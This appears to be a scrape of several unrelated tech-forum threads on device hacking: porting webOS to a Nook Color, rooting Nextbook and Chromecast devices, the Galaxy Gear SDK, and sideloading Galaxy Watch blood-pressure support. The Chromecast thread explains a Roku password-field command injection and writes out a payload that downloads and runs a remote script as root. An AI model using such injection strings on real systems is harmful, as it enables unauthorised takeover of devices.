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if you'll look on Nook Color from part perspective it looks very similar ( except screen) to pre 2.
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I was trying to extract os image from my palm sdk/emulator but nothing good come out of it yet. If anyone have any ideas or tips, maybe some experience with extracting images from android sdk and porting them to phones, or useful tutorial how its done.
Thanks
Piotr
piotrbartkowiak said:
if you'll look on Nook Color from part perspective it looks very similar ( except screen) to pre 2.
Same Ram
Pre2 OMAP3630 Vs Nook Color OMAP3621
I was trying to extract os image from my palm sdk/emulator but nothing good come out of it yet. If anyone have any ideas or tips, maybe some experience with extracting images from android sdk and porting them to phones, or useful tutorial how its done.
Thanks
Piotr
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In Theory yes it could be done.....
In Reality, with out the Source code, not alot can be done to get this ported over.
I just wont to try. I need to say my Palm Pixy Plus is one of my favorite phones but it seems it wont be updated any further, and HPalm announced today this TPad only problem for me is 9,7".
7" is my favorite form factor for tablets but Android 2.1 feels limited. 3.0 is not there yet.
Its the best time to play around with my Nook but as I'm saying havent had much luck yet, well I have a cool name WebNook.
Do not bother
WebOS is a copywrited OS. It would be illegal, immoral, and very near impossible to do. HP bought it for over a billion dollars, so they will protect it. Android is "good enough" for the NOOK.
piotrbartkowiak said:
I just wont to try. I need to say my Palm Pixy Plus is one of my favorite phones but it seems it wont be updated any further, and HPalm announced today this TPad only problem for me is 9,7".
7" is my favorite form factor for tablets but Android 2.1 feels limited. 3.0 is not there yet.
Its the best time to play around with my Nook but as I'm saying havent had much luck yet, well I have a cool name WebNook.
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Yeah 2.1 is rather limited, but keep in mind that soon CM7 will be out for the nook with I think 2.2 or 2.3 and it will be much better, and as far as 3.0 goes we don't even have the official release or source yet, the build people are playing with is the SDK Preview release, which is far from fully Honeycomb.
So there is still plenty of Growing room in the nook.
There was a group of people in the CDMA hero forum that attempted to port WebOS to the Hero. I think they got it working but stopped due to copyright. I searched for the thread using both the XDA search and google. It looks like XDA removed it.
I'm not trying to justify myself from trying (still unsuccessfully, and I dont want to make any money from it) to port WebOS to my Nook but what I remember Windows Phone is copywrited OS too and this whole Portal is build around people who are making new roms, and porting new aps to devices. Plus theres nothing better to learn on than something that you shouldn't.
painter_ said:
There was a group of people in the CDMA hero forum that attempted to port WebOS to the Hero. I think they got it working but stopped due to copyright. I searched for the thread using both the XDA search and google. It looks like XDA removed it.
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I'm pretty sure that was deleted because it was a Fake.
Lol I even found a story about it at PreCentral
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I'm pretty sure that was deleted because it was a Fake.
Lol I even found a story about it at PreCentral
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I remembered the thread, did not know it was fake. I really did not follow the thread just scanned it really quick. Thanks for the info.
I found this link on my bing
http://forum.xda-developers.com/showthread.php?t=822401&page=58
but cant acces it because I dont have 10 posts yet.
piotrbartkowiak said:
I found this link on my bing
http://forum.xda-developers.com/showthread.php?t=822401&page=58
but cant acces it because I dont have 10 posts yet.
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You can't access it because it was deleted, not because of post count.
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You can't access it because it was deleted, not because of post count.
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Thanks for checking it out for me.
WebOS is linux and if Nook can run one it mean it can run more, need to reed more how people ported Ubuntu and other Androids than 2.1
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Yeah 2.1 is rather limited, but keep in mind that soon CM7 will be out for the nook with I think 2.2 or 2.3 and it will be much better, and as far as 3.0 goes we don't even have the official release or source yet, the build people are playing with is the SDK Preview release, which is far from fully Honeycomb.
So there is still plenty of Growing room in the nook.
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2.3 is what they are working on. When that releases, not only will we get all the 2.3 goodness, we get rid of all the B&N garbage. That's what we're all waiting with baited breath for.
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2.3 is what they are working on. When that releases, not only will we get all the 2.3 goodness, we get rid of all the B&N garbage. That's what we're all waiting with baited breath for.
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I really like the B&N Library Software and the Ability to Purchase Books on the device, Granted the B&N Launcher is junk, But I like the Library App, Maybe we can rip it off and still use it?
I did just try Aldiko, which is very nice, But I like the Easy of Syncing my library with the B&N Library that comes with the Nook Color, Its also far Superior to the nook app of the Market which is laughable.
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I really like the B&N Library Software and the Ability to Purchase Books on the device, Granted the B&N Launcher is junk, But I like the Library App, Maybe we can rip it off and still use it?
I did just try Aldiko, which is very nice, But I like the Easy of Syncing my library with the B&N Library that comes with the Nook Color, Its also far Superior to the nook app of the Market which is laughable.
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I recently tried Aldiko also, and quite like it. It seems pretty superior to barnes and noble reader. The only downside, as you said, is losing the simple sync with B&N. I'm sure people would come up with a simple enough work around though. I personally don't buy books from them, so it's not too much of a concern for me. perhaps they could be synced with the nook app in the market and then once downloaded could be added to the Aldiko library?
just thought I would post for anyone interested in a possible port, 2.1 SDK was just released
developer dot palm dot com / blog / 2011 / 03 / the-webos-2-1-sdk-is-now-available /
webOS on the NC would be quite tricky..... no keyboard
piotrbartkowiak said:
I'm not trying to justify myself from trying (still unsuccessfully, and I dont want to make any money from it) to port WebOS to my Nook but what I remember Windows Phone is copywrited OS too and this whole Portal is build around people who are making new roms, and porting new aps to devices. Plus theres nothing better to learn on than something that you shouldn't.
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The Windows Phone Roms are for phones that are licensed to run said OS. You won't find a WP7 ROM for the NC for example, because it's not licensed to run it. You could probably get your mitts on the SDK, hack around and get WebOS kind of, sort of running on the NC, but there is no way you could make any argument that it was legal.
I used to have a Palm Pre Plus, and besides the factory defects of 3 units, I wasn't really impressed with the OS either.
For me nothing beats my Nexus One. So having my Nook run CM7 is way more enjoyable.
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WebOS is a copywrited OS. It would be illegal, immoral, and very near impossible to do. HP bought it for over a billion dollars, so they will protect it. Android is "good enough" for the NOOK.
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yep, we got in trouble for trying to put it on the hero lol
playing around with girlfriends nextbook next2 android 1.5...there has got to be away to upgrade this toy isnt there?
Google it!
-If ignorance is bliss why aren't you smiling?-
have already done that as well as many other things just figured if anyone would know it would be someone here and you i can see have no clue but thanks for wasting my time
If you're gonna pout like a baby because someone didn't give you an answer and suggested doing something MOST people don't do before they ask a question then I am glad I could waste your time. Enjoy having some more of your time wasted by reading this post.
-If ignorance is bliss why aren't you smiling?-
wow dude thank god there are pros on this site like you
I know right? Haha
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really guys? to answer the question: apparently it is rooted and using universal anroot? it also runs the archos OS? this is what ive gathered so far...
not much info yet...
Before being rude, maybe some folks should take their own advice and 'google it' to see if there is actually any useful information available.
All I've found after weeks of extensive searching (and I even used a few sources other than the great god google, imagine that!) is that (a) it can be rooted with newer versions of 'universal androot' and (b) someone has suggested that it may be similar enough to one version of the Archos tablet to use that firmware although no one has reported that they've tried and succeeded, and (c) much unverified talk that the hardware isn't sufficient to run anything better than 1.5,
Also interesting and somewhat funny is that if you check the nextbook's website in the download section with Firefox you see only see a couple of software package upgrades, but check it with Internet Explorer and you get more info to the effect that upgrades are "Coming Soon!!!". "Soon' in this case being at least >= about 4 weeks.
An update to even Android 1.6 would be a big help. Unfortunately, with my very limited knowledge of Android/tablets/etc. I'm not ready to try it myself without reports of success from others. It's too useful as is to turn into a brick since there is a lot of software that does work on it (you just have to invest the time to look and try a lot of it to find the right stuff). You might even want to try 'google' to find slightly older (but working) versions of some apps.
Cheers, and good luck!
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I know right? Haha
-If ignorance is bliss why aren't you smiling?-
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Simply, Lol
I just bought this device for $89 from Big Lots and I have been googling for the past hour. There's not much about this tablet or any of of the Nextbook products. For that reason also it's probably going back next week. My box says it comes with 2.1 so I assume there is at least an upgrade available from the site. I'd love to be able to reflash this and de-ebook it and have a general android tablet to self customize. It's got a dual core 600mhz.
Chances are if you can't find the info by a quick Google search then you are s**t outta luck. XDA isn't a place where you can magically find the solution to every tech issue you will ever encounter.
One rule of thumb i have when buying a device is whether it is popular enough to have good support from the dev community. If you buy without checking first it becomes a crap-shoot. If you owned a HD2 you would be in luck...but some random device, what are the odds?
Everything has a shelf-life and even the more popular devices will stop being supported eventually. Rather than adapting the device to suit your needs, why not adapt your needs to suit the device? It doesn't need to be running the latest and greatest software to be functional after all. People have converted old Win 98 PC's to be media servers, hardware firewalls, etc.
i also got one from biglots, and for $89 it does e-books, mp3 and video, web browsing with wifi and i can take my sd card out of my camera on vacation and view my photos and upload to facebook.
what more can you ask for for the price? it would be nice to root it and have a working .apk of market to install on it though
Nextbook 2 root and Market
I've been able to root my Nextbook 2 using freeware tools: Z4Root and Universal Androot. Even though I tried to make it permanent, it seems to revert to a non-rooted state when rebooted.
I'm still working on getting Google Market and other Google apps working. I'll post when I do.
For me, even just having a tablet with a web browser and book reader is worth the price. I used to try reading books and browsing the web on my Android phone, but the screen is just too small.
Rob
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I've been able to root my Nextbook 2 using freeware tools: Z4Root and Universal Androot. Even though I tried to make it permanent, it seems to revert to a non-rooted state when rebooted.
I'm still working on getting Google Market and other Google apps working. I'll post when I do.
For me, even just having a tablet with a web browser and book reader is worth the price. I used to try reading books and browsing the web on my Android phone, but the screen is just too small.
Rob
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I also bought from BigLots. I would be happy to learn how you used the freeware tools that you mentioned. Like others, I have searched for many days but can not find out even how to root it temporarily, let alone flash a new ROM. the tools seem to be out there, but how do you put them on the device?
Button combinations at power-on? Put the software on SD? I have done this with other devices, but they tell you how to go into recovery mode.
did a search and found NEXT2 Rom =)
http://forum.xda-developers.com/showthread.php?t=988740
is this not what you are looking for? I am wanting to buy the same thing, but know nothing about rooting a device so I came here looking for information. The above link is what I came across. Please respond if this is what works for the next2. Thanks!
Like others, I got one from Big Lots. $89! Oh, and it has android 2.1 on it!. I had also found the previously mentioned thread before this one. It has 86 pages of posts and most are NOT about the next2 (next3 and a few nearly identical devices with other names). Most of the ROMs posted there are for those other devices with a larger screen and therefore not useable on the next2. It does have some info on how to modify those for use with the next2.
Unfortunately, I haven't been able to identify exactly what is in the rom on page one of that thread. If anyone does load it, please id the os version, if it is fully rooted, and if it has the market app in it please. Probably a good thing to load if you have android 1.5 on your next2.
Oh, I haven't read even a third of the posts, but when I read more, if I find something useful, I will report back here.
Oh, and twitch351, if you don't want to help someone because you don't think they have put in time already, researching it, why don't you just ignore them rather than being a butthead about it? I HAVE been doing the research, and you were wasting my time too.
Okay, new to this. Started up a gear yesterday and I'm impressed. Now I want to go further... (already bored lol). Any links to docs on how to develop for this thing. I already know that this it is standard Android and that one can write standalone apps the usual way for this thing. What I'm interested in is how the communication model works with companion apps on the phone. I suspect it will be done by running services on the phone, but how can one interact with those services via a Bluetooth connection. Or is it event driven?
I'm really surprised that Samsung hasn't publiced anything about this on their site? What? Don't they like developers to jump on the bandwagon?
Best advice is to read this forum you will learn all there is to know
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appelflap said:
Okay, new to this. Started up a gear yesterday and I'm impressed. Now I want to go further... (already bored lol). Any links to docs on how to develop for this thing. I already know that this it is standard Android and that one can write standalone apps the usual way for this thing. What I'm interested in is how the communication model works with companion apps on the phone. I suspect it will be done by running services on the phone, but how can one interact with those services via a Bluetooth connection. Or is it event driven?
I'm really surprised that Samsung hasn't publiced anything about this on their site? What? Don't they like developers to jump on the bandwagon?
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I don't believe the SDK has been released yet, welcome to the gear community nether the less.
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I don't believe the SDK has been released yet, welcome to the gear community nether the less.
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So you think they work with special APIs? Or just the standard APIs? I saw there were already some interesting apps on the Samsung market like for example Zine. It has a controller architecture. On the Gear side you get headlines pushed and by tapping on a headline the Zine app is opened with the corresponding article. Can this can be done with standard Android APIs or do we need a special APIs for that. I can imagine that this can be done with the standard event model.
@lucf I did, couldn't find anything interesting wrt this topic. If you stumble upon some good posts let me know! Thx
Appears that Samsung kept it 'invite-only' for now:
http://news.cnet.com/8301-1035_3-57609639-94/this-is-why-there-arent-more-samsung-galaxy-gear-apps/
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Appears that Samsung kept it 'invite-only' for now:
http://news.cnet.com/8301-1035_3-57609639-94/this-is-why-there-arent-more-samsung-galaxy-gear-apps/
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Crap, so it does work with proprietary APIs? Right, might return this thing and wait till it is open for development, cheaper and will have more apps. They should have written that on the box. With their crap apps.
appelflap said:
Crap, so it does work with proprietary APIs? Right, might return this thing and wait till it is open for development, cheaper and will have more apps. They should have written that on the box. With their crap apps.
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"We need to make sure we're ready to go big."
Thats a quote from the article, they will be released. Although not just yet..
they never said they will release the sdk to the public, did they? so please stop making false claims.
samsung might as well decide that they are not ready to go big with this generation (lack of wifi, poor software etc). what then?
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they never said they will release the sdk to the public, did they? so please stop making false claims.
samsung might as well decide that they are not ready to go big with this generation (lack of wifi, poor software etc). what then?
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It's definitely a remarkable manoeuvre. Another remarkable thing is that everything is kept in the Samsung app store. It's not a secret that Samsung has big ambitions. Maybe they are trying to build their own ecosystem in the Android ecosystem. Maybe they gonna lock the APIs in some kind of Samsung Appstore service. Meh .. let's hope Google comes up with a watch soon and an addition to the Android framework for smart watches.
I recently tried to release an app to the Samsung store specifically for the gear but it was rejected for "other" reasons...
Seems like the public are just unknowing beta testers of a half-arsed device by Samsung.
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I recently tried to release an app to the Samsung store specifically for the gear but it was rejected for "other" reasons...
Seems like the public are just unknowing beta testers of a half-arsed device by Samsung.
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Really? What did you try to submit? A simple standalone app that only runs on the gear?
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Really? What did you try to submit? A simple standalone app that only runs on the gear?
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Tried to release my Calculator app that only runs on the Gear. I've since emailed back asking what "other" reasons they are talking about.
Just speculation on my part --
I have a feeling that Samsung is simply testing waters with this initial release of Gear. They are very serious about it, but they also know that it's not entirely polished product. They wanted to be first to market.
I think the 2rev of Gear might have some radical changes. They could probably build it on top of Kitkat (optimized for low memory devices?) and some new low energy communication protocols. Probably they will then open the APIs for all devs. Maybe we will also see some of the curved screen goodness!
But it's for sure they will never make the Gear compatible with all Android by default -- doesn't make a good business sense. Google will obviously try to make their smartwatch compatible with all Android, and that makes perfect business sense for google.
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Tried to release my Calculator app that only runs on the Gear. I've since emailed back asking what "other" reasons they are talking about.
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are you the guy who made it? nice. i sideloaded it into my Gear. works flawlessly, althought I would like to see some colored theme like numbers in one color, functions in other. 5 stars from me! super lite too!
Thanks...The coloured buttons are on the way...
Does anyone know if there will be any rooting to the current builds of Chromecast?
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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.
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Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
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Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
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Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL
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Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
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Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
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Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
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wptski said:
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
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It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL
So TC is basically asking someone to read the future.... Interesting.
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Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
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You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.
DJames1 said:
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
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We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....
Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.
Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
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Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.
The rest of world can do blood pressure stuff with the watch 4 & 5, but not the US. I hear it was a FDA regulations issue that was blocking things got sorted out. Any solid info or rumors on when an official release to make it work? I've seen a few hacks floating & at least 1 rumor after talking to a customer support person saying on official release was suppose to be in December. But as December is almost over that seems dubious. Not planning on fighting with side loading, rooting & what not for the time being, unless the BP stuff is a long ways off.
idk
https://www.xda-developers.com/how-to-enable-ecg-blood-pressure-monitoring-samsung-galaxy-watch-4/ for reference on how to do it on the Watch4. I believe it works on the 5, but am not going to be fighting with it for a bit.
Yes, that reference should work on the W5...
Not one to install unknown software in fear of data stealing, trojans, viruses... I bit the bullet and installed this work around. It in fact works great. Did the calibration and pretty darn accurate. BP measurements was the main reason I bought this watch 5 and can finally use it.,
mt2020 said:
Not one to install unknown software in fear of data stealing, trojans, viruses... I bit the bullet and installed this work around. It in fact works great. Did the calibration and pretty darn accurate. BP measurements was the main reason I bought this watch 5 and can finally use it.,
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Just a slight clarification.. there is nothing unknown about the software you installed. That guy who wrote and supports it is well known. But it's nice that you reported that you got it working. I'm waiting on the watch now and will do the same as you did. I would like the reporting too.
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Just a slight clarification.. there is nothing unknown about the software you installed. That guy who wrote and supports it is well known. But it's nice that you reported that you got it working. I'm waiting on the watch now and will do the same as you did. I would like the reporting too.
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I understand. But side loading apps can be risky, never as safe as getting it through the play store, but yea, some bad actors there too. Google tried to verify it on download but gave me a message file too large. Recently bought 2022 Turbotax which most vendors sell as downloads and yep, the vendor was pushing a copy with malware and bogus serial number. He was using a very larger retailor to offer from. Luckily I almost always first install to a sandbox to be safe, and test, and did, Just saying its getting nuts out there.
mt2020 said:
I understand. But side loading apps can be risky, never as safe as getting it through the play store, but yea, some bad actors there too. Google tried to verify it on download but gave me a message file too large. Recently bought 2022 Turbotax which most vendors sell as downloads and yep, the vendor was pushing a copy with malware and bogus serial number. He was using a very larger retailor to offer from. Luckily I almost always first install to a sandbox to be safe, and test, and did, Just saying its getting nuts out there.
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I hear that & I'm in the same boat. Use to root, run Cyanogen, mess with bootloaders & all the fun stuff for years. These days stock usually is good enough & auto-updating makes life so much easier & safer.
Still debating if I just wait for Samsung, or break down & side load semi-trusted molded stuff.
Fallon said:
I hear that & I'm in the same boat. Use to root, run Cyanogen, mess with bootloaders & all the fun stuff for years. These days stock usually is good enough & auto-updating makes life so much easier & safer.
Still debating if I just wait for Samsung, or break down & side load semi-trusted molded stuff.
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Yep. I gave up. I needed it. Promised for Watch 4, nope. Watch 5, wating... Watch 6, 7,... who knows? Have a few brews while you wait. Won't help with your BP though
mt2020 said:
Yep. I gave up. I needed it. Promised for Watch 4, nope. Watch 5, wating... Watch 6, 7,... who knows? Have a few brews while you wait. Won't help with your BP though
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First, works great and well needed app on my wrist. As for loading an 'unknown' sourse, Dante63 has done so much to allow us, and he keep maintaining new releases. I have his 'unknown' source since early W4 days (and I had the watch from proably the day it was released). With github release, text install files, video, github, and support for the community for free, what exactly is he going to take from you exactly? If you have Tiktok I would be more worried.. and if you get the google time line as I do once a month, this is REALLY big brother style report.. So if you connect to the internet, you already gave up on privacy.. and they know everything about you already.
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See here: https://forum.xda-developers.com/t/...ce-restriction-removed-25th-oct-2022.4322527/
According to APK Mirror, the latest is Samsung Health Monitor 1.1.1.221 so I believe this is the latest you can ask for.